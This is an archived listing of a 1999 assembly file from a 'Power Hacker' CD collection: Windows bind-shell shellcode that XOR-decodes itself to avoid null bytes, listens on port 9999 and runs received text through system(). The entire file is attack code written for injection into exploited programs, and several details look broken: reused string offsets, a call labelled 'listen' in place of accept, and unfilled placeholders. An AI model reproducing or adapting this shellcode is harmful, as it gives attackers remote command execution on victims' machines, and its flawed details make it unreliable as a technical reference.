home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / shellcode / windows / winshell / winshell.s < prev   
Encoding:
Text File  |  1999-06-20  |  9.4 KB  |  340 lines

  1. # Windows shell (one-sided command.com)
  2. # Copyright (C) March 1999, Matt Conover & w00w00 (WSD)
  3. #
  4. # Can give input, but will not see output
  5. # This will only allow 1 connection at a time (for simplicity)
  6. #
  7. # Because Windows doesn't allow interrupts, we push arguments on the stack
  8. # and 'call' functions.  The catch is that the addresses of necessary 
  9. # functions will vary between programs.  Therefore, we use the shellgen
  10. # to "plug" in our guessed (or acquired) addresses.
  11. #
  12. # Notes:
  13. # %edi = first of pre-defined data
  14. # %esi = address of module handle
  15. # %ecx = client (accept()) fd
  16. # %edx = server (socket()) fd
  17.  
  18. jmp init            # cheap hack (to get data addresses)
  19. start: popl %edi        # pop saved eip into edi
  20.  
  21. # ---------------------------------------------------------------------
  22. # First we must un'xor all bytes in the shellcode, except for the first
  23. # few, which was left unxor'd (this code here) so that we could decrypt
  24.  
  25. # We start at our ascii strings, and move backwards until we get to 
  26. # the end of this code (un-xor'd code)
  27.  
  28. pushl %edi            # save the old edi
  29.  
  30. call blah            # this will be used as an index address
  31. blah: popl %esi            # on where to stop xor'ing
  32.  
  33. movl %esi,%eax            # save ending address for XOR
  34. subl $0x5,%eax            # note: we are xor'ing end addr->start addr
  35.  
  36. addl $0xXX,%edi            # offset to beginning of xor'd code
  37.  
  38. xorloop:
  39.    decl %edi            # start at top, decrease addr to bottom
  40.    cmpl whatever,%edi        # see if we've reached decrypted all data
  41.    jle xorloop_end        # if we've reached last address.. end
  42.  
  43.    xorb $0x1,(%edi)        # otherwise, decrypt/xor the byte
  44.    jmp xorloop
  45.  
  46. xorloop_end: popl %edi        # restore the old edi
  47.  
  48. # -------------------------------------
  49. # START OF XOR'D BLOCK
  50.  
  51. # Set all 0xff's to 0x00's (null chars)
  52. # NOTE: the 0xffffffff's used for LoadLibrary() and GetProcAddress() will
  53. # be modified by shellgen, and will not exist at run-time
  54.  
  55. pushl %edi            # save %edi (saved eip)
  56. decl %edi            # start 1 address below
  57.  
  58. leal 0x56(%edi),%eax        # store the final 0xff address
  59.  
  60. setnull_loop:
  61.    cmpl %edi,%eax        # see if we're at end of 0xff'd data
  62.    je setnull_end        # end if so
  63.  
  64.    incl %edi            # address pointer by 1
  65.    cmpb $0xff,(%edi)        # see if it's 0xff
  66.    jne setnull_loop        # if not, continue
  67.  
  68.    addb $0x1,(%edi)        # set 0xff'd byte to null
  69.    jmp setnull_loop
  70.  
  71. setnull_end: popl %edi        # restore the old %edi (saved eip)
  72.  
  73. # ---------------------------------------------------------------------
  74.  
  75. # NOTE: All bytes from this point on will be XOR'd (encrypted) to prevent
  76. # nulls in the call functions (et. al.)
  77.  
  78. LoadLibrary:
  79.    leal 0x8(%edi),%eax        # 0x8(%edi) = address of libname
  80.    pushl %eax
  81.  
  82.    call *%edi            # call LoadLibrary("wsock32.dll");
  83.    movl %eax,%esi        # store retval (mod handle) in esi
  84.  
  85.    # ----------------- WSAStartup()
  86.  
  87. # Note: in practice, this isn't needed.  A program we're trying to exploit
  88. # will have already called WSAStartup() if we are communicating with it
  89. # remotely.  Therefore, we'll leave the code but comment it out.
  90.  
  91. # WSAStartup:
  92. #  subl $0x190,%esp        # allocate 400 bytes for WSADATA
  93. #  movl %esp,%ebx        # address of WSADATA (used as arg 2)
  94.  
  95. #  push %ebx            # &wsaData
  96. #  push $0x101            # MAKEWORD(1, 1) result = wsock v1.1
  97.  
  98. #  leal 0x14(%edi),%eax        # function name ("WSAStartup")
  99. #  call getprocaddr        # function addr returned in %eax
  100.  
  101. #  call *%eax            # call ret. addr. (WSAStartup()'s addr)
  102.  
  103.    # ----------------- socket()
  104.  
  105. socket:
  106.    xorl %eax,%eax        # clear out %eax
  107.  
  108.    pushl %eax            # IPPROTO_IP (protocol)
  109.    pushl $0x1            # SOCK_STREAM (type)
  110.    pushl $0x2            # AF_INET (family)
  111.  
  112.    leal 0x1f(%edi),%eax        # function address ("socket")
  113.    call getprocaddr        # function addr returned in %eax
  114.  
  115.    call *%eax            # call ret. addr. (socket()'s addr)
  116.    movl %eax,%edx        # store server fd in edx
  117.  
  118.    # ----------------- bind()
  119.  
  120. bind:
  121.    pushl $0x10            # sockaddr size in bytes (16 bytes)
  122.  
  123.    subl $0x10,%esp        # allocate mem for sockaddr
  124.    movl %esp,%ebx        # address of sockaddr
  125.    pushl %ebx            # sockaddr's address
  126.  
  127.    xorl %eax,%eax
  128.    movb $0x10,%al        # zero 0x10 (16) bytes
  129.    call bzero            # zero out sockaddr (ebx = ptr)
  130.  
  131.    # NOTE - this the structure order may vary between compilers
  132.    movb    $0x2,(%esp)        # AF_INET (sockaddr->sin_family)
  133.    movl $0xf27,0x4(%esp)    # port 9999, in NBO (sockaddr->sin_port)
  134.  
  135.    pushl %edx            # server fd
  136.  
  137.    leal 0x1f(%edi),%eax        # function name ("bind")
  138.    call getprocaddr        # function addr returned in %eax
  139.  
  140.    call *%eax            # call ret. addr. (bind()'s addr)
  141.  
  142.    # ----------------- listen()
  143.  
  144. listen:
  145.    xorl %eax,%eax        # clear out %eax
  146.  
  147.    pushl %eax            # number of backlogs
  148.    pushl %edx            # server fd
  149.  
  150.    leal 0x1f(%edi),%eax        # function name ("listen")
  151.    call getprocaddr        # function addr returned in %eax
  152.  
  153.    call *%eax            # call ret. addr. (listen()'s addr)
  154.  
  155. while_loop1:
  156.  
  157.       # ----------------- accept()
  158.  
  159. accept:
  160.       # setup 3rd arg for accept()
  161.       subl $0x4,%esp        # allocate room for sockaddr len
  162.       movl $0x10,(%esp)        # size of sockaddr (16 bytes)
  163.       movl %esp,%ebx        # load %ebx with socklen's address (int *)
  164.  
  165.       pushl %ebx        # socklen address
  166.  
  167.       # setup 2nd arg for accept()
  168.       subl $0x10,%esp        # allocate client's sockaddr (16 bytes)
  169.       movl %esp,%ebx        # address of sockaddr
  170.  
  171.       pushl %ebx        # sockaddr address
  172.       pushl %edx        # server fd
  173.  
  174.       leal 0x1f(%edi),%eax    # function name ("listen")
  175.       call getprocaddr        # function addr returned in %eax
  176.  
  177.       call *%eax        # call ret. addr. (listen()'s addr)
  178.  
  179.       # ----------------------
  180.  
  181.       movl %eax,%ecx        # store new client fd here
  182.  
  183.       subl $0x100,%esp        # size of buffer (256 bytes)
  184.       movl %esp,%ebx        # address of buffer
  185.  
  186.       movl %ebx,%ecx        # ecx = buf ptr
  187.  
  188.       movl $0x100,%eax        # zero 0x100 (256) bytes
  189.       call bzero        # zero out buf (ebx = ptr)
  190.  
  191. subwhile_loop1:
  192.       # ----------------- recv()
  193.  
  194. recv:
  195.       xorl %eax,%eax        # clear out %eax
  196.  
  197.       pushl %eax        # flags
  198.       pushl $0x1        # buffer len (1 char)
  199.  
  200.       pushl %ecx        # pointer to buf
  201.       pushl %edx        # client fd
  202.  
  203.       leal 0x1f(%edi),%eax    # function name ("recv")
  204.       call getprocaddr        # function addr returned in %eax
  205.  
  206.       call *%eax        # call ret. addr. (recv()'s addr)
  207.  
  208.       xorl %ebx,%ebx        # clear out %ebx
  209.  
  210.       cmpl %ebx,%eax        # compare recv() retval to 0
  211.       jl subwhile_end1        # if < 0, break (i.e., SOCKET_ERROR)
  212.       
  213.       # ----------------------
  214.  
  215.       cmpb $0x1f,(%ecx)        # 0x1f = last ascii code before space
  216.       jle noprint        # if it's < ascii code 0x1f, end buffer
  217.  
  218.       incl %ecx            # increase bufptr by 1 byte
  219.       jmp subwhile_loop1    # get next char
  220.  
  221.       noprint:
  222.          xorl %eax,%eax        # clear out %eax
  223.          movl %eax,(%ecx)    # null terminate buffer
  224.                 # fall into system() to exec buf
  225.  
  226.       # ----------------- system()
  227.  
  228. system:
  229.       leal 0x1f(%edi),%eax    # function name ("system")
  230.       call getprocaddr        # function addr returned in %eax
  231.  
  232.       call *%eax        # call ret. addr. (system()'s addr)
  233.  
  234.       # --------------------------
  235.  
  236.       movl $0x100,%eax        # zero 0x100 (256) bytes
  237.       call bzero        # zero out sockaddr (ebx = ptr)
  238.  
  239.       movl %ebx,%ecx        # reset buf ptr to first of buf
  240.  
  241. jmp subwhile_loop1
  242.  
  243. subwhile_end1:            # where we break to
  244.                 # continue on below
  245.  
  246.    # ------------------------------------------------------
  247.    # closesocket()
  248.  
  249. closesocket:
  250.    pushl %ecx            # client fd
  251.  
  252.    leal 0x43(%edi),%eax        # function name ("closesocket")
  253.    call getprocaddr        # function addr returned in %eax
  254.  
  255.    call *%eax            # call ret. addr. (closesocket()'s addr)
  256.  
  257. jmp while_loop1
  258.  
  259. # -------------------------------------------------------------------
  260.  
  261. getprocaddr:
  262.    pushl %eax            # function name (caller set %eax)
  263.    pushl %esi            # push the module returned by LoadLibrary()
  264.  
  265.    leal 0x4(%edi),%ebx        # address of GetProcAddress()
  266.    call *%ebx            # call GetProcAddress(mod, funcname)
  267.  
  268.    ret                # return because this is called as a proc
  269.  
  270. # -------------------------------------------------------------------
  271.  
  272. bzero:
  273.    pushl %ebx            # save %ebx (used as pointer)
  274.    pushl %ecx            # save %ecx (used to hold 0x0)
  275.  
  276.    loop:
  277.       xorl %ecx,%ecx        # clear out %ecx
  278.  
  279.       movb %cl,(%ebx)        # set byte to null
  280.       incl %ebx            # increase pointer
  281.  
  282.       decl %eax            # decrease counter
  283.  
  284.       cmpl %ecx,%eax        # compare counter = 0
  285.       jle endloop        # if <= 0, break;
  286.  
  287.       jmp loop            # continue looping
  288.  
  289. endloop: 
  290.    popl %ecx            # restore old %ecx (used to hold 0x0)
  291.    popl %ebx            # restore old %ebx (used as pointer)
  292.  
  293.    ret
  294. # ----------------------------
  295.  
  296. # END OF XOR'D BLOCK
  297.  
  298. init: call start        # used to set eip as an index
  299.  
  300. # -------------------------------------------------------------------
  301.  
  302. # These 2 will be modified by shellgen.. don't touch!
  303. .byte 0xff,0xff,0xff,0xff    # LoadLibrary(), (%edi)
  304. .byte 0xff,0xff,0xff,0xff    # GetProcAddress(), 0x4(%edi)
  305.  
  306. # I use 0xff to indicate "end of string" (we can't use nulls)
  307.  
  308. .ascii "wsock32.dll"        # 11 bytes, 0x8(%edi)
  309. .byte 0xff            # 1 byte
  310.  
  311. # -------------------------------------------------------------------
  312.  
  313. # WSAStartup() will usually not be used, but we're leaving it anyway.
  314. .ascii "WSAStartup"        # 10 bytes, 0x14(%edi)
  315. .byte 0xff            # 1 byte
  316.  
  317. .ascii "socket"            # 6 bytes, 0x1f(%edi)
  318. .byte 0xff            # 1 byte
  319.  
  320. .ascii "bind"            # 4 bytes, 0x26(%edi)
  321. .byte 0xff            # 1 byte
  322.  
  323. .ascii "listen"            # 6 bytes, 0x2b(%edi)
  324. .byte 0xff            # 1 byte
  325.  
  326. .ascii "accept"            # 6 bytes, 0x32(%edi)
  327. .byte 0xff            # 1 byte
  328.  
  329. .ascii "recv"            # 4 bytes, 0x39(%edi)
  330. .byte 0xff            # 1 byte
  331.  
  332. .ascii "send"            # 4 bytes, 0x3e(%edi)
  333. .byte 0xff            # 1 byte
  334.  
  335. .ascii "system"            # 6 bytes, 0x43(%edi)
  336. .byte 0xff            # 1 byte
  337.  
  338. .ascii "closesocket"        # 11 bytes, 0x4a(%edi)
  339. .byte 0xff            # 1 byte
  340.